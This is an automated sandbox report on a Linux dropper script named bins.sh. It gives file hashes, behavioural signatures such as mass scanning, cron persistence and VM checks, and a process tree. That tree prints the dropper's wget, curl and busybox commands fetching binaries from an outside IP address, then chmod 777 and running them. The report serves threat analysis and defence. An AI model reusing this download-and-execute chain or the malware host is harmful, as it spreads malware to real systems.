Analysis
-
max time kernel
150s -
max time network
176s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
-
submitted
19/11/2024, 13:31
General
-
Target
bins.sh
-
Size
10KB
-
MD5
e7858e7f06486cd924155e463d230b74
-
SHA1
5e5be0e1760892742e4f707d8d072d6ed603e59e
-
SHA256
5e1c33ea279105c302ec4665ddd72c155d9d440ae2c473b803df701c30002518
-
SHA512
648b5f3a77ecfc659307360e28d4d77a59363fffccb4f099a2c997c5ab4deab216b9aae273800ad6060e284935c0b77eb7dcecf3f32bc11f6a9e6a82182698ab
-
SSDEEP
192:+J7L7P7rQAYa4f+eINBHGHm7L7P7rQAs+eINB8l:+ZvzrQAYa4f+eINBHq6vzrQAs+eINBu
Malware Config
Signatures
-
Contacts a large (2091) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 1 IoCs
-
Renames itself 1 IoCs
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
-
/bin/rm/bin/rm bins.sh2⤵
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ22⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ22⤵
- Checks CPU configuration
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ22⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ22⤵
- File and Directory Permissions Modification
-
-
/tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2./25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ22⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
-
/bin/shsh -c "crontab -l"3⤵
-
/usr/bin/crontabcrontab -l4⤵
-
-
-
/bin/shsh -c "crontab -"3⤵
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
-
-
/bin/rmrm 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ22⤵
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx52⤵
- System Network Configuration Discovery
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
-
Filesize
210B
MD5416c1ba9a6bca553928f3c65957fea5a
SHA14f250de27d004cdac3a051eed6bb6b535e82afab
SHA256ea3d4febddba530442589bb21035e8a6f889f6e77455ad6228fb8b0cfbb39f73
SHA51208c88aaba617647bc4630615818c69e10f6711f3aacd336b43fdf66f875083513a56904b3cd7693c1d7d3415289ecdf05123b4736dc7ee178f89dd8cfa47cd82